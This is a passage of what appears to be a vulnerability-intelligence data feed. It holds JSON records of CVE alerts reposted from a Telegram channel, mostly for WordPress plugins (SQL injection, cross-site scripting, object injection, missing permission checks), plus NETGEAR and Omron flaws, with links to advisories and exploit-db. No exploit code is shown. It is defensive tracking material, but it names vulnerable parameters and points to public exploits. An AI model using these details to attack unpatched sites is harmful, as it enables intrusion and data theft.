"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12606", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1115", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12606\n\ud83d\udd39 Description: The AI Scribe \u2013 SEO AI Writer, Content Generator, Humanizer, Blog Writer, SEO Optimizer, DALLE-3, AI WordPress Plugin ChatGPT (GPT-4o 128K) plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the engine_request_data() function in all versions up to, and including, 2.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update plugin settings.\n\ud83d\udccf Published: 2025-01-10T03:21:29.685Z\n\ud83d\udccf Modified: 2025-01-10T03:21:29.685Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/4bc4a765-719e-4e99-b7f3-d255e4c019f5?source=cve\n2. https://plugins.trac.wordpress.org/browser/ai-scribe-the-chatgpt-powered-seo-content-creation-wizard/trunk/article_builder.php#L730", "creation_timestamp": "2025-01-10T04:15:15.000000Z"}, {"uuid": "758095c3-65b3-4e63-8d00-9c89aaac6d1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12473", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1114", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12473\n\ud83d\udd39 Description: The AI Scribe \u2013 SEO AI Writer, Content Generator, Humanizer, Blog Writer, SEO Optimizer, DALLE-3, AI WordPress Plugin ChatGPT (GPT-4o 128K) plugin for WordPress is vulnerable to SQL Injection via the 'template_id' parameter of the 'article_builder_generate_data' shortcode in all versions up to, and including, 2.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n\ud83d\udccf Published: 2025-01-10T03:21:30.318Z\n\ud83d\udccf Modified: 2025-01-10T03:21:30.318Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/79125ac2-f3ed-40c9-a81b-340195fc8da5?source=cve\n2. https://plugins.trac.wordpress.org/browser/ai-scribe-the-chatgpt-powered-seo-content-creation-wizard/trunk/article_builder.php#L891", "creation_timestamp": "2025-01-10T04:15:11.000000Z"}, {"uuid": "48d64867-1d20-40e6-9f07-e6cf9bd74226", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12304", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1265", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12304\n\ud83d\udd39 Description: The Gutenberg Blocks with AI by Kadence WP \u2013 Page Builder Features plugin for WordPress is vulnerable to Stored Cross-Site Scripting via button block link in all versions up to, and including, 3.4.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-11T03:21:03.438Z\n\ud83d\udccf Modified: 2025-01-11T03:21:03.438Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/c300c485-e5ab-48b3-99e8-0def5668ef4a?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3212269/kadence-blocks/tags/3.4.3/includes/blocks/class-kadence-blocks-singlebtn-block.php", "creation_timestamp": "2025-01-11T04:03:54.000000Z"}, {"uuid": "5e4e4b63-b21a-4cf4-a2dd-138bf310fd20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "https://t.me/DarkWebInformer_CVEAlerts/1216", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12847\n\ud83d\udd39 Description: NETGEAR DGN1000 before 1.1.00.48 is vulnerable to an authentication bypass vulnerability. A remote and unauthenticated attacker can execute arbitrary operating system commands as root by sending crafted HTTP requests to the setup.cgi endpoint. This vulnerability has been exploited in the wild since at least 2017.\n\ud83d\udccf Published: 2025-01-10T19:36:36.675Z\n\ud83d\udccf Modified: 2025-01-10T19:36:36.675Z\n\ud83d\udd17 References:\n1. https://seclists.org/bugtraq/2013/Jun/8\n2. https://www.exploit-db.com/exploits/25978\n3. https://www.exploit-db.com/exploits/43055\n4. https://vulncheck.com/advisories/netgear-dgn", "creation_timestamp": "2025-01-10T20:07:14.000000Z"}, {"uuid": "544d248a-68c5-431c-9401-a5e46c6a32fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12116", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1285", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12116\n\ud83d\udd39 Description: The Unlimited Theme Addon For Elementor and WooCommerce plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.2.1 via the 'uta-template' shortcode due to insufficient restrictions on which posts can be included. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract data from private or draft posts created by Elementor that they should not have access to.\n\ud83d\udccf Published: 2025-01-11T07:21:52.245Z\n\ud83d\udccf Modified: 2025-01-11T07:21:52.245Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/9dbdb6cc-2a00-4d34-9c11-62f3d1b51c73?source=cve\n2. https://wordpress.org/plugins/unlimited-theme-addons/", "creation_timestamp": "2025-01-11T08:04:10.000000Z"}, {"uuid": "d9fdf166-919e-43f6-9f63-c87bcd374cf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12520", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1284", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12520\n\ud83d\udd39 Description: The Dominion \u2013 Domain Checker for WPBakery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'dominion_shortcodes_domain_search_6' shortcode in all versions up to, and including, 2.2.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-11T07:21:52.731Z\n\ud83d\udccf Modified: 2025-01-11T07:21:52.731Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/a684f597-da72-4697-9e37-ca45a30ca64d?source=cve\n2. https://plugins.trac.wordpress.org/browser/dominion-domain-checker-wpbakery-addon/trunk/modules/domain_search/domain_search_6/doamin_search_shortcodes.php#L91\n3. https://wordpress.org/plugins/dominion-domain-checker-wpbakery-addon", "creation_timestamp": "2025-01-11T08:04:07.000000Z"}, {"uuid": "f520c57e-933b-4719-8470-aebe1dbdc36a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12412", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1283", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12412\n\ud83d\udd39 Description: The Rental and Booking Manager for Bike, Car, Dress, Resort with WooCommerce Integration \u2013 WpRently | WordPress plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the \u2018active_tab\u2019 parameter in all versions up to, and including, 2.2.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-11T07:21:53.135Z\n\ud83d\udccf Modified: 2025-01-11T07:21:53.135Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/b0cde64f-2533-46e0-9268-b9d100fb0a82?source=cve\n2. https://plugins.trac.wordpress.org/browser/booking-and-rental-manager-for-woocommerce/trunk/templates/template_segment/resort_info.php", "creation_timestamp": "2025-01-11T08:04:05.000000Z"}, {"uuid": "4c26ca72-84a0-457c-a7b4-75b40571a0e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12627", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1262", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12627\n\ud83d\udd39 Description: The Coupon X: Discount Pop Up, Promo Code Pop Ups, Announcement Pop Up, WooCommerce Popups plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.3.5 via deserialization of untrusted input from post content passed to the capture_email AJAX action. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.\n\ud83d\udccf Published: 2025-01-11T02:20:54.151Z\n\ud83d\udccf Modified: 2025-01-11T02:20:54.151Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/468be776-8804-4d2f-8eaf-841bbf598ef9?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3219466/coupon-x-discount-pop-up/trunk/inc/class-cx-rest.php", "creation_timestamp": "2025-01-11T03:04:16.000000Z"}, {"uuid": "bc0423a2-7fa9-4a06-b94a-db8dbcb1681a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12505", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1261", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12505\n\ud83d\udd39 Description: The Trackserver plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'tsmap' shortcode in all versions up to, and including, 5.0.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-11T02:20:54.513Z\n\ud83d\udccf Modified: 2025-01-11T02:20:54.513Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/63ade911-f9e7-4b1c-87c8-78e7664feff7?source=cve\n2. https://plugins.trac.wordpress.org/browser/trackserver/trunk/class-trackserver-shortcode.php#L46\n3. https://plugins.trac.wordpress.org/browser/trackserver/trunk/class-trackserver-shortcode.php#L57\n4. https://plugins.trac.wordpress.org/browser/trackserver/trunk/class-trackserver-shortcode.php#L281\n5. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3219730%40trackserver&new=3219730%40trackserver&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-11T03:04:13.000000Z"}, {"uuid": "e0d01bd1-ea49-4a80-8bf0-0b2093984b4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12615", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1929", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12615\n\ud83d\udd39 Description: The Passwords Manager plugin for WordPress is vulnerable to SQL Injection via the $wpdb->prefix value in several AJAX actions in all versions up to, and including, 1.4.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n\ud83d\udccf Published: 2025-01-16T09:39:15.003Z\n\ud83d\udccf Modified: 2025-01-16T09:39:15.003Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/ce8397d5-6637-4faa-be1f-9cf52c25be9b?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3221505/passwords-manager/trunk/include/pms-passwords-ajax-action.php\n3. https://plugins.trac.wordpress.org/changeset/3221505/passwords-manager/trunk/include/admin-page/addon/csv-export/index.php\n4. https://plugins.trac.wordpress.org/changeset/3221505/passwords-manager/trunk/include/pms-categories-ajax-action.php", "creation_timestamp": "2025-01-16T09:55:31.000000Z"}, {"uuid": "2b23b85c-8c88-4010-9f0a-0e0b6d7bf101", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12404", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1264", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12404\n\ud83d\udd39 Description: The CF Internal Link Shortcode plugin for WordPress is vulnerable to SQL Injection via the 'post_title' parameter in all versions up to, and including, 1.1.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n\ud83d\udccf Published: 2025-01-11T02:20:53.175Z\n\ud83d\udccf Modified: 2025-01-11T02:20:53.175Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/1661bb28-e5b4-4319-84bb-6cbeac266147?source=cve\n2. https://plugins.trac.wordpress.org/browser/internal-link-shortcode/trunk/internal-link-shortcode.php#L82", "creation_timestamp": "2025-01-11T03:04:20.000000Z"}, {"uuid": "d71cb0c2-3481-4137-95ea-d6a172dc74a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12587", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1276", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12587\n\ud83d\udd39 Description: The Contact Form Master  WordPress plugin through 1.0.7 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n\ud83d\udccf Published: 2025-01-11T06:00:02.900Z\n\ud83d\udccf Modified: 2025-01-11T06:00:02.900Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/7cb040f5-d154-48ea-a54e-80451054bad8/", "creation_timestamp": "2025-01-11T07:04:49.000000Z"}, {"uuid": "89bb2034-45ea-4218-8fc0-7405e964622f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12877", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1282", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12877\n\ud83d\udd39 Description: The GiveWP \u2013 Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.19.2 via deserialization of untrusted input from the donation form like 'firstName'. This makes it possible for unauthenticated attackers to inject a PHP Object. The additional presence of a POP chain allows attackers to delete arbitrary files on the server that makes remote code execution possible. Please note this was only partially patched in 3.19.3, a fully sufficient patch was not released until 3.19.4. However, another CVE was assigned by another CNA for version 3.19.3 so we will leave this as affecting 3.19.2 and before. We have recommended the vendor use JSON encoding to prevent any further deserialization vulnerabilities from being present.\n\ud83d\udccf Published: 2025-01-11T07:21:53.510Z\n\ud83d\udccf Modified: 2025-01-11T07:21:53.510Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/b2143edf-5423-4e79-8638-a5b98490d292?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3212723/give/tags/3.19.3/src/Helpers/Utils.php", "creation_timestamp": "2025-01-11T08:04:03.000000Z"}, {"uuid": "706a1046-7e19-41b5-a1cc-c74ecb2fd235", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12407", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1278", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12407\n\ud83d\udd39 Description: The Push Notification for Post and BuddyPress plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'pushnotificationid' parameter in all versions up to, and including, 2.06 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-11T07:21:54.994Z\n\ud83d\udccf Modified: 2025-01-11T07:21:54.994Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/de7be653-4d5b-4cbe-ad9c-6c2748f533bb?source=cve\n2. https://plugins.trac.wordpress.org/browser/push-notification-for-post-and-buddypress/trunk/admin/pnfpb_admin_ondemand_notification_settings.php#L711", "creation_timestamp": "2025-01-11T08:03:52.000000Z"}, {"uuid": "ba59e79b-26ee-41d9-95a6-54de686276de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12519", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1286", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12519\n\ud83d\udd39 Description: The TCBD Auto Refresher plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'tcbd_auto_refresh' shortcode in all versions up to, and including, 2.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-11T07:21:51.888Z\n\ud83d\udccf Modified: 2025-01-11T07:21:51.888Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/851bade8-bd3a-4fb1-8a1d-12461287694e?source=cve\n2. https://plugins.trac.wordpress.org/browser/tcbd-auto-refresher/trunk/plugin-hook.php#L115\n3. https://wordpress.org/plugins/tcbd-auto-refresher", "creation_timestamp": "2025-01-11T08:04:13.000000Z"}, {"uuid": "c18a9d51-7fee-4916-8b0e-d0fbf5d3c807", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12568", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1351", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12568\n\ud83d\udd39 Description: The Email Subscribers by Icegram Express  WordPress plugin before 5.7.45 does not sanitise and escape some of its Workflow settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\ud83d\udccf Published: 2025-01-13T06:00:10.651Z\n\ud83d\udccf Modified: 2025-01-13T06:00:10.651Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/0ce9075a-754b-474e-9620-17da8ee29b56/", "creation_timestamp": "2025-01-13T06:05:55.000000Z"}, {"uuid": "8aa5fbe5-d91f-4fc5-8d72-7bcc7484268f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12274", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1354", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12274\n\ud83d\udd39 Description: The Appointment Booking Calendar Plugin and Scheduling Plugin  WordPress plugin before 1.1.23 export settings functionality exports data to a public folder, with an easily guessable file name, allowing unauthenticated attackers to access the exported files (if they exist).\n\ud83d\udccf Published: 2025-01-13T06:00:01.193Z\n\ud83d\udccf Modified: 2025-01-13T06:00:01.193Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/e3176c9a-63f3-4a28-a8a7-8abb2b4100ef/", "creation_timestamp": "2025-01-13T06:06:04.000000Z"}, {"uuid": "d3faf6df-e163-4cf7-b8c0-978f2901d3ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12566", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1353", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12566\n\ud83d\udd39 Description: The Email Subscribers by Icegram Express  WordPress plugin before 5.7.45 does not sanitise and escape some of form settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\ud83d\udccf Published: 2025-01-13T06:00:07.508Z\n\ud83d\udccf Modified: 2025-01-13T06:00:07.508Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/9206064a-d54e-44ad-9670-65520ee166a6/", "creation_timestamp": "2025-01-13T06:06:01.000000Z"}, {"uuid": "2da86751-7765-40ab-a17c-4ccce0a48941", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12298", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1422", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12298\n\ud83d\udd39 Description: We found a vulnerability Improper Restriction of XML External Entity Reference (CWE-611) in NB-series NX-Designer. Attackers may be able to abuse this vulnerability to disclose confidential data on a computer.\n\ud83d\udccf Published: 2025-01-14T00:45:38.605Z\n\ud83d\udccf Modified: 2025-01-14T00:45:38.605Z\n\ud83d\udd17 References:\n1. https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2025-002_en.pdf\n2. https://www.fa.omron.co.jp/product/security/assets/pdf/ja/OMSR-2025-002_ja.pdf", "creation_timestamp": "2025-01-14T01:07:24.000000Z"}, {"uuid": "8113a429-2776-4333-b83d-d2c684b51ca0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12083", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1421", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12083\n\ud83d\udd39 Description: Path Traversal Vulnerabilities (CWE-22) exist in NJ/NX-series Machine Automation Controllers. An attacker may use these vulnerabilities to perform unauthorized access and to execute unauthorized code remotely to the controller products.\n\ud83d\udccf Published: 2025-01-14T00:46:33.399Z\n\ud83d\udccf Modified: 2025-01-14T00:46:33.399Z\n\ud83d\udd17 References:\n1. https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2025-001_en.pdf\n2. https://www.fa.omron.co.jp/product/security/assets/pdf/ja/OMSR-2025-001_ja.pdf", "creation_timestamp": "2025-01-14T01:07:21.000000Z"}, {"uuid": "bdd9f2ea-82f0-4912-8a47-5f2befb0cdf8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12006", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1462", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12006\n\ud83d\udd39 Description: The W3 Total Cache plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on several functions in all versions up to, and including, 2.8.1. This makes it possible for unauthenticated attackers to deactivate the plugin as well as activate and deactivate plugin extensions.\n\ud83d\udccf Published: 2025-01-14T07:05:40.976Z\n\ud83d\udccf Modified: 2025-01-14T07:05:40.976Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/329ad5dc-9339-4540-aba3-f21a78a74d4b?source=cve\n2. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/Extensions_Plugin_Admin.php#L186\n3. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/Extensions_Plugin_Admin.php#L63\n4. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/Extensions_Plugin_Admin.php#L220\n5. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/Generic_Plugin_Admin.php#L212\n6. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/Extensions_Plugin_Admin.php#L60", "creation_timestamp": "2025-01-14T08:08:11.000000Z"}, {"uuid": "b0515378-cb5a-47f5-b46f-227606188aa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12008", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1461", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12008\n\ud83d\udd39 Description: The W3 Total Cache plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 2.8.1 through the publicly exposed debug log file. This makes it possible for unauthenticated attackers to view potentially sensitive information in the exposed log file. For example, the log file may contain nonce values that can be used in further CSRF attacks.\nNote: the debug feature must be enabled for this to be a concern, and it is disabled by default.\n\ud83d\udccf Published: 2025-01-14T07:05:41.364Z\n\ud83d\udccf Modified: 2025-01-14T07:05:41.364Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/8292f23c-fb17-4082-9788-f643d1bb097e?source=cve\n2. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/Util_Environment.php#L430\n3. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/Util_Debug.php#L29", "creation_timestamp": "2025-01-14T08:08:05.000000Z"}, {"uuid": "60e524e1-de77-4935-adba-b510539768ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "Telegram/8ThijABIfi-5nNlQ7kr_WvEtubQLhHXnUTTbU5BQXc6b8iBP", "content": "", "creation_timestamp": "2025-03-08T04:34:09.000000Z"}, {"uuid": "c68d798b-ea3d-49ba-b94f-0b2617d9962f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1463", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12365\n\ud83d\udd39 Description: The W3 Total Cache plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the is_w3tc_admin_page function in all versions up to, and including, 2.8.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to obtain the plugin's nonce value and perform unauthorized actions, resulting in information disclosure, service plan limits consumption as well as making web requests to arbitrary locations originating from the web application that can be used to query information from internal services, including instance metadata on cloud-based applications.\n\ud83d\udccf Published: 2025-01-14T07:05:40.307Z\n\ud83d\udccf Modified: 2025-01-14T07:05:40.307Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/196e629f-7c77-4bcb-8224-305a0108b630?source=cve\n2. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/w3-total-cache.php#L71\n3. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/Root_Loader.php#L269\n4. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/Generic_Plugin_Admin.php#L55\n5. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/Generic_Plugin_Admin.php#L385\n6. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/Generic_Plugin_Admin.php#L516\n7. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/Util_Admin.php#L822\n8. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/inc/options/common/top_nav_bar.php#L217\n9. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/inc/options/common/footer.php#L49\n10. 